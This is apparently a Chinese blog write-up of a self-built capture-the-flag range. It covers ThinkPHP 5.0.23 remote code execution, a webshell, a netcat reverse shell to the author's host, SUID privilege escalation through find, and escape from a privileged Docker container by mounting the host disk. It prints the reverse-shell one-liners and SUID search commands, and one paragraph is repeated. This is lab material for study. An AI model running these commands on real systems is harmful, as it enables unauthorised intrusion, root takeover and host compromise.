自建靶场WP(tp+SUID+容器逃逸)

自建靶场WP(tp+SUID+容器逃逸)(根据vulhubThinkPHP5 5.0.23 靶机改编)

一、信息收集:

目标机:114.55.177.8

端口扫描:

请添加图片描述

网站框架识别:

网站访问8080端口,发现thinkphp框架,版本为v5

请添加图片描述

二、漏洞利用:

1、确认漏洞为:ThinkPHP *5.0.23* 远程代码执行漏洞(可以用工具)

请添加图片描述

2、使用poc进行漏洞复现:工具还是使用bp复现都可以,都挺简单的,但是如果你想了解深入一点可以去看看ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 – 绿盟科技技术博客 (nsfocus.net)这篇文章,里面讲了代码层面。

3、随机挑选了一个幸运观众的马进行连接。,自此拿到了该网站的webshell

请添加图片描述

三、漏洞危害提升(SUID提权)

1、反弹shell(反向代理)

请添加图片描述

因为这是蚁剑自带的模拟shell窗口,不怎么好用(也可以在这里面提权再反弹具有root权限的shell),所以我们将shell反弹到我们自己的云主机上操作。如果该容器内有nc命令,我们可以直接使用nc,有python可以使用python脚本连接(public目录下的shell.py就是),因为是容器,所以我们选择反向代理(受害机主动连接攻击机)
服务器监听6666端口

请添加图片描述

用蚁剑执行nc命令,成功反弹shell到攻击机。

请添加图片描述

这个shell不能交互,所以我们用python弄出一个交互式shell:
python3.8 -c 'import pty; pty.spawn("/bin/bash")'

请添加图片描述

2、SUID权限提升

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。已知的可用来提权的linux可行性的文件列表如下:
  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

我们可以用find命令查找具有root权限的suid可执行文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

请添加图片描述

找到find,利用find命令提权(如果Find命令也是以Suid文件的话,则将通过find执行的所有命令都会以它的归属者的权限执行,也就是root)
touch abc

find abc -exec whoami \;

请添加图片描述

成功提权到root权限 然后将具有root权限的shell重新反弹到我们的攻击机
find abc -exec nc -e /bin/sh 120.26.127.220 7777  \;

为什么是sh?不是上面的bash?0.O?我也不知道,但是如果是bash的话,反弹过来的权限就不是root了

请添加图片描述

自此拿到了容器的root权限和/root目录下的flag

请添加图片描述

四、容器逃逸(容器开启特权模式导致的逃逸)

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

1.判断是否为docker环境
ls -alh /.dockerenv

docker环境中根目录下存在此文件

请添加图片描述

2、判断容器是否为特权模式启动

特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff

请添加图片描述

3、确认是特权模式后,查看磁盘分区,进行磁盘挂载

请添加图片描述

明显/dev/vda3磁盘就是我们云服务器的磁盘,我们在根目录创建一个目录用于挂载/dev/vda3磁盘

mkdir /hyh
mount /dev/vda3 /hyh

请添加图片描述

0.O?为什么执行不了呢?,明明是root权限了,他竟然不认我?那我只能另辟蹊径了,创建一个具有root权限的用户再切换用户不就ok?

创建root后门用户的命令我就不多赘述了(注意:创建用户需要交互式的shell,不交互可以用py脚本创建,public目录下hyh.py就是用python创建用户)

请添加图片描述

权限的用户再切换用户不就ok?

创建root后门用户的命令我就不多赘述了(注意:创建用户需要交互式的shell,不交互可以用py脚本创建,public目录下hyh.py就是用python创建用户)

请添加图片描述

做到这里,你就完全通关这个靶场了
如果各位想要我这个靶场,可以关注公众号:别忘记学习 回复 zijian 即可得到下载链接
上文提到的服务器已经关闭,各位自行搭建
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值